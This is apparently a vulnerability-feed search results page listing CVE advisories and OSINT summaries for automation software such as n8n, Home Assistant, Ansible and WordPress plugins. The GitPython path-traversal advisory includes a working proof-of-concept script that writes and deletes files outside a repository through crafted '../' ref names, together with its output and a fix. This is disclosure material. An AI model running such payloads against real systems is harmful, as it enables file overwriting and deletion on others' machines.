Search: dd-automation.ch
233 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.8 | EPSS 0.4% | Critical9.8EPSS 0.4%CVE Database V5CVE-2026-6510 The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2. This is due to missing nonce verification and capability checks in the iwar_save_recipe() AJAX handler. This makes it possible for unauthenticated attackers to create a malicious automation recipe that pairs an HTTP post trigger with an auto-login action, allowing any unauthenticated visitor to visit a crafted URL and receive authentication cookies for any targeted user account (e.g., administrator), achieving complete authentication bypass and privilege escalation. | CVE Database V5 | ||
| –Not rated | – | CIRCL OSINT Feed The KRVTZ-NET IDS alerts for 2026-05-13 report network reconnaissance activity primarily involving scanning by Exabot webcrawler user agents. Some IP addresses are associated with attempts to probe known vulnerabilities, including CVE-2023-27997 targeting Fortigate VPN's /remote/logincheck endpoint and CVE-2025-55182 related to unsafe property access in React Server Components (React2Shell). There is no evidence of confirmed exploitation or active attacks in this data. The activity is informational and categorized as low severity. | CIRCL OSINT Feed | |||
| High | 7.5 | EPSS 0.4% | High7.5EPSS 0.4%CVE Database V5CVE-2026-2993 The AI Chatbot & Workflow Automation by AIWU WordPress plugin versions up to 1.4.17 contain an SQL Injection vulnerability in the getListForTbl() function. This vulnerability arises from insufficient escaping of user-supplied parameters and lack of proper query preparation, allowing unauthenticated attackers to append SQL commands to existing queries. A partial mitigation was introduced in version 1.4.11 by adding a nonce check limited to administrators, but the vulnerability remains in versions up to 1.4.17. The CVSS score is 7. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.4% | CVE-2026-44243GitPython · Path Traversal High7.8EPSS 0.4%CVE Database V5CVE-2026-44243 ## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` | CVE Database V5 | ||
| –Not rated | – | CIRCL OSINT Feed The KRVTZ-NET IDS alerts for 2026-05-05 report low-severity network reconnaissance activity involving multiple IP addresses linked to scanning and exploitation attempts. The alert includes indicators related to known vulnerabilities such as CVE-2025-55182 affecting React Server Components and CVE-2023-27997 targeting Fortigate VPN. No affected product versions or active exploitation in the wild are confirmed. Patch availability is not indicated, and no vendor advisories or specific mitigation instructions are provided. The activity primarily represents reconnaissance rather than confirmed successful exploitation. | CIRCL OSINT Feed | |||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-42229n8n · SQL Injection Medium5.3EPSS 0.3%CVE Database V5CVE-2026-42229 An SQL injection vulnerability exists in the n8n workflow automation platform's SeaTable node prior to versions 1.123.32, 2.17.4, and 2.18.1. The flaw allows user-controlled input to be concatenated directly into SQL queries without proper escaping or parameterization. This can enable an attacker to manipulate queries and retrieve unintended rows from the connected SeaTable base, bypassing row-level filtering logic. The issue has been addressed in the specified patched versions. | CVE Database V5 | ||
| Critical | – | CriticalSecurityWeek Two critical vulnerabilities were discovered in EnOcean's SmartServer IoT platform, enabling remote attackers to bypass security controls and execute arbitrary code with root privileges. These flaws affect internet-exposed SmartServer devices used in building automation, potentially allowing full takeover of Linux-based systems managing smart buildings, factories, and data centers. The vulnerabilities, tracked as CVE-2026-22885 and CVE-2026-20761, involve improper validation of packet input leading to memory protection bypass and remote code execution. EnOcean has released SmartServer 4.6 update 2 (4.60.023) to address these issues. Legacy i. LON devices are also impacted. Claroty researchers have published technical details and proof-of-concept exploits. | SecurityWeek | |||
| High | 7.5 | EPSS 0.8% | CVE-2026-25679Red Hat Security Advisory: go-rpm-macros security update High7.5EPSS 0.8%GCVE DatabaseCVE-2026-25679 A security update for the go-rpm-macros package in Red Hat Enterprise Linux 9.6 addresses an incorrect parsing vulnerability in the net/url package related to IPv6 host literals (CVE-2026-25679). This vulnerability affects the build-stage RPM automation for Go language packages. The issue has been rated as important by Red Hat Product Security. The update is available for multiple architectures and variants of Red Hat Enterprise Linux 9.6 Extended Update Support and related products. | GCVE Database | ||
| –Not rated | – | AlienVault OTX General Investigation reveals widespread abuse of n8n, an AI workflow automation platform, in sophisticated phishing campaigns from October 2025 through March 2026. Attackers exploit the platform's webhook functionality to deliver malware and fingerprint devices while bypassing security filters through trusted infrastructure. Email volume containing n8n webhook URLs increased by 686% between January 2025 and March 2026. Observed campaigns utilize CAPTCHA-protected pages to deliver remote access tools including modified Datto RMM and ITarian Endpoint Management software. The webhooks mask malicious payload sources behind legitimate n8n domains. Additional abuse cases involve tracking pixels embedded in emails for device fingerprinting. These attacks demonstrate how legitimate productivity and automation platforms can be weaponized, requiring behavioral detection approaches rather than simple domain blocking to protect organizational workflows. | AlienVault OTX General | |||
| Medium | – | MediumSecurityWeek Multiple industrial control system (ICS) vendors including Siemens, Schneider Electric, Aveva, Rockwell Automation, ABB, Phoenix Contact, Mitsubishi Electric, and Moxa have released new security advisories addressing vulnerabilities. These advisories indicate that patches have been issued to remediate the identified security issues. No specific details about the vulnerabilities or exploits in the wild are provided. The overall severity is assessed as medium based on the available information. | SecurityWeek | |||
| Critical | 9.1 | EPSS 0.8% | CVE-2025-22871Red Hat Security Advisory: OpenShift Container Platform 4.12.87 bug fix and security update Critical9.1EPSS 0.8%GCVE DatabaseCVE-2025-22871 Red Hat Ansible Automation Platform provides an enterprise framework for building, deploying and managing IT automation at scale. IT Managers can provide top-down guidelines on how automation is applied to individual teams, while automation developers retain the freedom to write tasks that leverage existing knowledge without the overhead. Ansible Automation Platform makes it possible for users across an organization to share, vet, and manage automation content by means of a simple, powerful, and agentless language. Security Fix(es): * automation-eda-controller: Template Injection via Git Branch and Refspec in EDA Projects (CVE-2025-49521) * automation-eda-controller: Authenticated Argument Injection in Git URL in EDA Project Creation (CVE-2025-49520) * automation-gateway-proxy: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) * automation-gateway-proxy-openssl30: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) * automation-gateway-proxy-openssl32: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) * receptor: Request smuggling due to acceptance of invalid chunked data in net/http (CVE-2025-22871) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Updates and fixes included: Automation Platform * Updated API error messaging to be more helpful in the event a user logs in as the admin user via legacy auth on one component, then tries to do so via the other component (AAP-47541) * Fixed an issue where API records could be missing or duplicated across pages (AAP-47504) * Refactored V1RootView.get() and improve reverse lookup logic (AAP-47366) * Refactored process_statuses() method to reduce its cognitive complexity (AAP-47341) * Improved accuracy of openapi API docs and schema (AAP-46639) * Reduced the cognitive complexity of method migrate_resource() in migrate_service_data.py from 56 to <=15 (AAP-45822) * Reduced the cognitive complexity of the process_fields() method in serializers/preference.py file (AAP-45820) * Reduced the cognitive complexity of unique_fields_for_model() method to below 15 (AAP-45819) * Enable query filtering for fields user_ansible_id, team_ansible_id, and object_ansible_id on the role assignment API endpoints (AAP-45443) * The Survey form is displayed for a Worlflow visualizer Job template or Workflow Job template node with a survey enabled and no Prompt on Launch fields (AAP-47732) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-47668) * The API feature flags used to hide references to Policy as Code in the UI have been removed. All Policy as Code fields appear for all users at all times (AAP-47006) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-46813) * On the inventory source form, for a source type of 'VMware ESXi' the user will be able to select credentials of type 'VMware vCenter' (AAP-46784) * Fixed a bug when selecting the 'Comparison' field for Atrriibute trigger in the Authenticator Map form (AAP-46555) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-45834) * added an extra validation to handle incorrect user input in the variables field, as the API doesn't return an error for it (AAP-42563) * Fixed a bug that was causing the UI to throw an error when launching a workflow job template with both "Prompt on Launch" and "Survey" enabled (AAP-42303) * The Hosts links in the Resource Counts section of the overview page were fixed to redirect to the Hosts page (AAP-42288) * Allows role assignments using object_ansible_id in the role_user_assignment module (AAP-48042) * Improved documentation and examples related to object_id and object_ansible_id parameters in role_user_assignment module (AAP-48041) * Allows object_id field in role_user_assignment module to accept a list of items (AAP-47979) * Fixed an example task in ansible.platform.token module (AAP-47976) * Specify correct aap_* parameters in ansible.platform.token module (AAP-47975) * Improved documentation and examples for authenticator and authenticator_map modules (AAP-45982) * Updated documentation examples for the ansible.platform.settings module with tested tasks examples (AAP-45954) * Added a new section in the collection README describing how to authenticate to AAP from the playbook (AAP-45578) * Ensures that modules in the ansible.platform collection accepts AAP_* variable for authentication (AAP-45363) * Fixed ansible.platform.user not adding users to organizations (AAP-45248) * Allows running ansible.platform collection modules in check_mode (AAP-45246) * Ad | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2025-69223Bundesamt für Sicherheit in der Informationstechnik Amazon · Red Hat Ansible Automation Platform: Mehrere Schwachstellen High7.5EPSS 0.6%GCVE DatabaseCVE-2025-69223 Multiple vulnerabilities have been identified in Red Hat Ansible Automation Platform 2.5. Red Hat has released an important security advisory (RHSA-2026:6308) addressing these issues with an update. The platform is an enterprise automation framework used for system configuration, software deployment, and workflow orchestration. Users are advised to apply the update after ensuring all previous errata are installed. | GCVE Database | ||
| High | 7.5 | EPSS 2.3% | CVE-2025-61726Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update High7.5EPSS 2.3%GCVE DatabaseCVE-2025-61726 Red Hat Ansible Automation Platform 2.6 has multiple security vulnerabilities affecting components such as automation-gateway-proxy, automation-platform-ui, and python3.12-pillow. These include memory exhaustion, denial of service via XML entity expansion and catastrophic backtracking, unexpected session resumption, and out-of-bounds write issues. The vendor has released an important security update addressing these flaws. Users must download the latest installer version to apply the fixes successfully. | GCVE Database | ||
| Critical | 9.7 | EPSS 0.3% | CVE-2026-34205Home Assistant Operating System · Improper Restriction of Communication Channel to Intended Endpoints Critical9.7EPSS 0.3%CVE Database V5CVE-2026-34205 Home Assistant is open source home automation software that puts local control and privacy first. Home Assistant apps (formerly add-ons) configured with host network mode expose unauthenticated endpoints bound to the internal Docker bridge interface to the local network. On Linux, this configuration does not restrict access to the app as intended, allowing any device on the same network to reach these endpoints without authentication. Home Assistant Supervisor 2026.03.02 addresses the issue. | CVE Database V5 | ||
| High | 7.3 | EPSS 0.2% | CVE-2026-33044home-assistant core · Cross-site Scripting High7.3EPSS 0.2%CVE Database V5CVE-2026-33044 Home Assistant is open source home automation software that puts local control and privacy first. Starting in version 2020.02 and prior to version 2026.01, an authenticated party can add a malicious name to their device entity, allowing for Cross-Site Scripting attacks against anyone who can see a dashboard with a Map-card which includes that entity. It requires that the victim hovers over an information point. Version 2026.01 fixes the issue. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.3% | CVE-2026-33751n8n · LDAP Injection Medium6.3EPSS 0.3%CVE Database V5CVE-2026-33751 n8n is an open source workflow automation platform. Prior to versions 1.123.27, 2.13.3, and 2.14.1, a flaw in the LDAP node's filter escape logic allowed LDAP metacharacters to pass through unescaped when user-controlled input was interpolated into LDAP search filters. In workflows where external user input is passed via expressions into the LDAP node's search parameters, an attacker could manipulate the constructed filter to retrieve unintended LDAP records or bypass authentication checks implemented in the workflow. Exploitation requires a specific workflow configuration. The LDAP node must be used with user-controlled input passed via expressions (e.g., from a form or webhook). The issue has been fixed in n8n versions 1.123.27, 2.13.3, and 2.14.1. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only, disable the LDAP node by adding `n8n-nodes-base.ldap` to the `NODES_EXCLUDE` environment variable, and/or avoid passing unvalidated external user input into LDAP node search parameters via expressions. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures. | CVE Database V5 | ||
| Critical | 9.4 | EPSS 0.9% | CVE-2026-33696n8n · Prototype Pollution Critical9.4EPSS 0.9%CVE Database V5CVE-2026-33696 n8n is an open source workflow automation platform. Prior to versions 2.14.1, 2.13.3, and 1.123.27, an authenticated user with permission to create or modify workflows could exploit a prototype pollution vulnerability in the XML and the GSuiteAdmin nodes. By supplying a crafted parameters as part of node configuration, an attacker could write attacker-controlled values onto `Object.prototype`. An attacker could use this prototype pollution to achieve remote code execution on the n8n instance. The issue has been fixed in n8n versions 2.14.1, 2.13.3, and 1.123.27. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only, and/or disable the XML node by adding `n8n-nodes-base.xml` to the `NODES_EXCLUDE` environment variable. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures. | CVE Database V5 | ||
| High | 8.5 | EPSS 0.4% | CVE-2026-33663n8n · Insecure Direct Object Reference High8.5EPSS 0.4%CVE Database V5CVE-2026-33663 n8n is an open source workflow automation platform. Prior to versions 2.14.1, 2.13.3, and 1.123.27, an authenticated user with the `global:member` role could exploit chained authorization flaws in n8n's credential pipeline to steal plaintext secrets from generic HTTP credentials (`httpBasicAuth`, `httpHeaderAuth`, `httpQueryAuth`) belonging to other users on the same instance. The attack abuses a name-based credential resolution path that does not enforce ownership or project scope, combined with a bypass in the credentials permission checker that causes generic HTTP credential types to be skipped during pre-execution validation. Together, these flaws allow a member-role user to resolve another user's credential ID and execute a workflow that decrypts and uses that credential without authorization. Native integration credential types (e.g. `slackApi`, `openAiApi`, `postgres`) are not affected by this issue. This vulnerability affects Community Edition only. Enterprise Edition has additional permission gates on workflow creation and execution that independently block this attack chain. The issue has been fixed in n8n versions 1.123.27, 2.13.3, and 2.14.1. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Restrict instance access to fully trusted users only, and/or audit credentials stored on the instance and rotate any generic HTTP credentials (`httpBasicAuth`, `httpHeaderAuth`, `httpQueryAuth`) that may have been exposed. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures. | CVE Database V5 | ||
| Critical | 10.0 | EPSS 0.8% | Critical10.0EPSS 0.8%CVE Database V5CVE-2026-3587 CVE-2026-3587 is a critical vulnerability in the WAGO Lean Managed Switch 852-1812 that allows an unauthenticated remote attacker to exploit a hidden CLI function to escape the restricted interface. This leads to full device compromise, including complete control over confidentiality, integrity, and availability. The vulnerability requires no authentication or user interaction and can be exploited remotely with low complexity. Although no known exploits are currently in the wild, the CVSS score of 10 reflects its severe impact and ease of exploitation. Organizations using this switch model are at high risk of network disruption and potential lateral movement by attackers. Immediate mitigation involves isolating affected devices and applying vendor patches once available. Countries with significant industrial automation and critical infrastructure deployments of WAGO products are most at risk. Defenders must prioritize detection of unauthorized CLI access attempts and restrict network exposure of management interfaces to trusted zones only. | CVE Database V5 |
Page 8 of 14 · 1 duplicate CVE record merged